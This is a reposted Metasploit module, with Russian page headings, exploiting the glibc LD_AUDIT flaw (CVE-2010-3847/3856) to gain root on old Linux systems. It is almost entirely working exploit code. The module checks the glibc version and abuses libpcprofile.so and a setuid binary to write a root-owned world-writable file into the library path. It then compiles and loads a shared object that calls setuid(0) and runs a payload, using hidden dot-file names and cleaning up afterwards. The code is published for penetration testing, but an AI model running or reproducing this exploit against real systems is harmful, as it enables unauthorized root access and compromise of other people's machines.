glibc - 'LD_AUDIT' Arbitrary DSO Load Privilege Escalation (Metasploit)

Свойства

Дата публикации:
14.02.2018
Цель:
glibc
Тип воздействия:
Повышение привилегий

Код

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
 
require 'msf/core/exploit/local/linux'
require 'msf/core/exploit/exe'
 
class MetasploitModule < Msf::Exploit::Local
  Rank = ExcellentRanking
 
  include Msf::Post::File
  include Msf::Exploit::EXE
  include Msf::Exploit::FileDropper
  include Msf::Exploit::Local::Linux
 
  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'glibc LD_AUDIT Arbitrary DSO Load Privilege Escalation',
      'Description'    => %q{
        This module attempts to gain root privileges on Linux systems by abusing
        a vulnerability in the GNU C Library (glibc) dynamic linker.
 
        glibc ld.so in versions before 2.11.3, and 2.12.x before 2.12.2 does not
        properly restrict use of the LD_AUDIT environment variable when loading
        setuid executables. This allows loading arbitrary shared objects from
        the trusted library search path with the privileges of the suid user.
 
        This module uses LD_AUDIT to load the libpcprofile.so shared object,
        distributed with some versions of glibc, and leverages arbitrary file
        creation functionality in the library constructor to write a root-owned
        world-writable file to a system trusted search path (usually /lib).
        The file is then overwritten with a shared object then loaded with
        LD_AUDIT resulting in arbitrary code execution.
 
        This module has been tested successfully on glibc version 2.11.1 on
        Ubuntu 10.04 x86_64 and version 2.7 on Debian 5.0.4 i386.
 
        RHEL 5 is reportedly affected, but untested. Some glibc distributions
        do not contain the libpcprofile.so library required for successful
        exploitation.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'Tavis Ormandy', # Discovery and exploit
          'zx2c4',         # "I Can't Read and I Won't Race You Either" exploit
          'Marco Ivaldi',  # raptor_ldaudit and raptor_ldaudit2 exploits
          'Todor Donev',   # libmemusage.so exploit
          'Brendan Coles'  # Metasploit
        ],
      'DisclosureDate' => 'Oct 18 2010',
      'Platform'       => 'linux',
      'Arch'           => [ ARCH_X86, ARCH_X64 ],
      'SessionTypes'   => [ 'shell', 'meterpreter' ],
      'Targets'        =>
        [
          [ 'Automatic', { } ],
          [ 'Linux x86', { 'Arch' => ARCH_X86 } ],
          [ 'Linux x64', { 'Arch' => ARCH_X64 } ]
        ],
      'DefaultTarget'  => 0,
      'References'     =>
        [
          [ 'CVE', '2010-3847' ],
          [ 'CVE', '2010-3856' ],
          [ 'BID', '44154' ],
          [ 'BID', '44347' ],
          [ 'EDB', '15274' ],
          [ 'EDB', '15304' ],
          [ 'EDB', '18105' ],
          [ 'URL', 'http://seclists.org/fulldisclosure/2010/Oct/257' ],
          [ 'URL', 'http://seclists.org/fulldisclosure/2010/Oct/344' ],
          [ 'URL', 'https://www.ubuntu.com/usn/usn-1009-1' ],
          [ 'URL', 'https://security-tracker.debian.org/tracker/CVE-2010-3847' ],
          [ 'URL', 'https://security-tracker.debian.org/tracker/CVE-2010-3856' ],
          [ 'URL', 'https://access.redhat.com/security/cve/CVE-2010-3847' ],
          [ 'URL', 'https://access.redhat.com/security/cve/CVE-2010-3856' ]
        ]
    ))
    register_options(
      [
        OptString.new('SUID_EXECUTABLE', [ true, 'Path to a SUID executable', '/bin/ping' ]),
        OptString.new('WritableDir',     [ true, 'A directory where we can write files', '/tmp' ])
      ])
  end
 
  def base_dir
    datastore['WritableDir']
  end
 
  def suid_exe_path
    datastore['SUID_EXECUTABLE']
  end
 
  def check
    glibc_banner = cmd_exec 'ldd --version'
    glibc_version = Gem::Version.new glibc_banner.scan(/^ldd\s+\(.*\)\s+([\d\.]+)/).flatten.first
    if glibc_version.to_s.eql? ''
      vprint_error 'Could not determine the GNU C library version'
      return CheckCode::Safe
    elsif glibc_version >= Gem::Version.new('2.12.2') ||
          (glibc_version >= Gem::Version.new('2.11.3') && glibc_version < Gem::Version.new('2.12'))
      vprint_error "GNU C Library version #{glibc_version} is not vulnerable"
      return CheckCode::Safe
    end
    vprint_good "GNU C Library version #{glibc_version} is vulnerable"
 
    lib = 'libpcprofile.so'
    @lib_dir = nil
    vprint_status "Checking for #{lib} in system search paths"
    search_paths = cmd_exec "env -i LD_PRELOAD=#{rand_text_alpha rand(10..15)} LD_DEBUG=libs env 2>&1 | grep 'search path='"
    search_paths.split('path=')[1..-1].join.split(':').each do |path|
      lib_dir = path.to_s.strip
      next if lib_dir.eql? ''
      libs = cmd_exec "ls '#{lib_dir}'"
      if libs.include? lib
        @lib_dir = lib_dir
        break
      end
    end
    if @lib_dir.nil?
      vprint_error "Could not find #{lib}"
      return CheckCode::Safe
    end
    vprint_good "Found #{lib} in #{@lib_dir}"
 
    unless setuid? suid_exe_path
      vprint_error "#{suid_exe_path} is not setuid"
      return CheckCode::Detected
    end
    vprint_good "#{suid_exe_path} is setuid"
 
    CheckCode::Appears
  end
 
  def upload_and_chmodx(path, data)
    print_status "Writing '#{path}' (#{data.size} bytes) ..."
    rm_f path
    write_file path, data
    cmd_exec "chmod +x '#{path}'"
    register_file_for_cleanup path
  end
 
  def on_new_session(client)
    # remove root owned shared object from system load path
    if client.type.eql? 'meterpreter'
      client.core.use 'stdapi' unless client.ext.aliases.include? 'stdapi'
      client.fs.file.rm @so_path
    else
      client.shell_command_token "rm #{@so_path}"
    end
  end
 
  def exploit
    check_status = check
 
    if check_status == CheckCode::Appears
      print_good 'The target appears to be vulnerable'
    elsif check_status == CheckCode::Detected
      fail_with Failure::BadConfig, "#{suid_exe_path} is not suid"
    else
      fail_with Failure::NotVulnerable, 'Target is not vulnerable'
    end
 
    payload_name = ".#{rand_text_alphanumeric rand(5..10)}"
    payload_path = "#{base_dir}/#{payload_name}"
 
    # Set target
    uname = cmd_exec 'uname -m'
    vprint_status "System architecture is #{uname}"
    if target.name.eql? 'Automatic'
      case uname
      when 'x86_64'
        my_target = targets[2]
      when /x86/, /i\d86/
        my_target = targets[1]
      else
        fail_with Failure::NoTarget, 'Unable to automatically select a target'
      end
    else
      my_target = target
    end
    print_status "Using target: #{my_target.name}"
 
    cpu = nil
    case my_target['Arch']
    when ARCH_X86
      cpu = Metasm::Ia32.new
    when ARCH_X64
      cpu = Metasm::X86_64.new
    else
      fail_with Failure::NoTarget, 'Target is not compatible'
    end
 
    # Compile shared object
    so_stub = %|
      extern int setuid(int);
      extern int setgid(int);
      extern int system(const char *__s);
 
      void init(void) __attribute__((constructor));
 
      void __attribute__((constructor)) init() {
        setuid(0);
        setgid(0);
        system("#{payload_path}");
      }
    |
 
    begin
      so = Metasm::ELF.compile_c(cpu, so_stub).encode_string(:lib)
    rescue
      print_error "Metasm encoding failed: #{$ERROR_INFO}"
      elog "Metasm encoding failed: #{$ERROR_INFO.class} : #{$ERROR_INFO}"
      elog "Call stack:\n#{$ERROR_INFO.backtrace.join "\n"}"
      fail_with Failure::Unknown, 'Metasm encoding failed'
    end
 
    # Upload shared object
    so_name = ".#{rand_text_alphanumeric rand(5..10)}"
    so_path = "#{base_dir}/#{so_name}"
    upload_and_chmodx so_path, so
 
    # Upload exploit
    @so_path = "#{@lib_dir}/#{so_name}.so"
    exp = %(
      umask 0
      LD_AUDIT="libpcprofile.so" PCPROFILE_OUTPUT="#{@so_path}" #{suid_exe_path} 2>/dev/null
      umask 0022
      cat #{so_path} > #{@so_path}
      LD_AUDIT="#{so_name}.so" #{suid_exe_path}
      echo > #{@so_path}
    )
    exp_name = ".#{rand_text_alphanumeric rand(5..10)}"
    exp_path = "#{base_dir}/#{exp_name}"
    upload_and_chmodx exp_path, exp
 
    # Upload payload
    upload_and_chmodx payload_path, generate_payload_exe
 
    # Launch exploit
    print_status 'Launching exploit...'
    # The echo at the end of the command is required
    # else the original session may die
    output = cmd_exec "#{exp_path}& echo "
    output.each_line { |line| vprint_status line.chomp }
  end
end